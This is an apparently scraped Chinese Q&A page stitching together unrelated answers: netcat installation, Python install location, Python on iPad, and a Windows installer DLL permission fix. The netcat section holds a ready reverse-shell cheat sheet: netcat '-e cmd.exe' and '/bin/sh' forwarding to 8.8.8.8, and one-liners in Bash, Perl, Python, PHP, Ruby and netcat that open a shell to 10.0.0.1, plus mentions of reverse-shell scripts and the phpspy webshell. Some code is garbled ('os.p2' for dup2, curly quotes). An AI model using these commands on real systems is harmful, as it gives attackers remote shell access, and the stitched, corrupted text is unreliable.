編譯安裝python
『壹』 linux怎麼安裝netcat
etcat-0.7.1.tar.gz
然後當然是解壓了
tar zxvf netcat-0.7.1.tar.gz
解壓完畢之後會生成目錄,要cd進去
cd netcat-0.7.1
然後進行編譯前的配置。
./configure
配置完了之後就可以make編譯了。
編譯成功就生成了netcat可執行的文件了,位於src目錄,cd進去進行運行./netcat -h.如圖
本地Windows監聽
nc -vv -l -p 1234
遠程Windows轉發
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234
遠程Linux轉發
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php
———————NetCat for linux 參數e————————-
下載netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–
一句話反彈命令
[Bash]
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
[PERL]
perl -e 『use Socket;$i=」10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(「tcp」));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,」>&S」);open(STDOUT,」>&S」);open(STDERR,」>&S」);exec(「/bin/sh -i」);};』
[python]
python -c 『import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((「10.0.0.1″,1234));os.p2(s.fileno(),0); os.p2(s.fileno(),1); os.p2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);』
[PHP]
php -r 『$sock=fsockopen(「10.0.0.1″,1234);exec(「/bin/sh -i <&3 >&3 2>&3″);』
[Ruby]
ruby -rsocket -e』f=TCPSocket.open(「10.0.0.1″,1234).to_i;exec sprintf(「/bin/sh -i <&%d >&%d 2>&%d」,f,f,f)』
[Netcat]
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
『貳』 python安裝路徑要在c盤嗎
python默認是安裝到C盤,如果c盤空間不夠,放哪裡都可以,但路徑不要有空格出現。也安裝到D盤或E盤。Python 是一個高層次的結合了解釋性、編譯性、互動性和面向對象的腳本語言。
Python 的設計具有很強的可讀性,相比其他語言經常使用英文關鍵字,其他語言的一些標點符號,它具有比其他語言更有特色語法結構。Python 是一種解釋型語言: 這意味著開發過程中沒有了編譯這個環節。類似於PHP和Perl語言。
Python 是互動式語言: 這意味著,您可以在一個 Python 提示符 >>> 後直接執行代碼。Python 是面向對象語言: 這意味著Python支持面向對象的風格或代碼封裝在對象的編程技術。
Python 是初學者的語言:Python 對初級程序員而言,是一種偉大的語言,它支持廣泛的應用程序開發,從簡單的文字處理到 WWW 瀏覽器再到游戲。
python學習網,免費的python學習網站,歡迎在線學習!
『叄』 在ipad上怎麼安裝python
1、在我們的ipad上網路搜索Python,點擊進去。
『肆』 Python 無法安裝,提示 dll 的錯誤。機子是 window8, 64 位系統
提示There is a problem with this Windows Installer package. A DLL required for this install to complete could not be run. Contact your support personnel or package vendor.
查系統Log得知是拿不到C:\Users\x\AppData\Local\Temp許可權[2]。實際上是everyone用戶拿不到temp許可權。嘗試改C:\Users\x\AppData\Local\Temp的everyone用戶許可權,提示 「無法枚舉容器內對象,訪問被拒絕。」
解決方法
在待操作的文件夾,右鍵,屬性,安全標簽,高級
彈出窗口顯示當前文件夾的所有者,選擇修改,彈出選擇用戶或用戶組窗口。
在文本框中輸入當前用戶名(當前用戶應該是管理器才行)
在所有者下面出現了一個復選框,替換子容器和對象的所有者,應用
在最下面的使用可從此對象繼承的許可權項目替換所有子對象的許可權項目,應用。(不能直接勾兩個復選框,應用,得分兩步)
確保everyone出現在許可權入口裡面,沒有就編輯添加一個,賦予他許可權,應用即可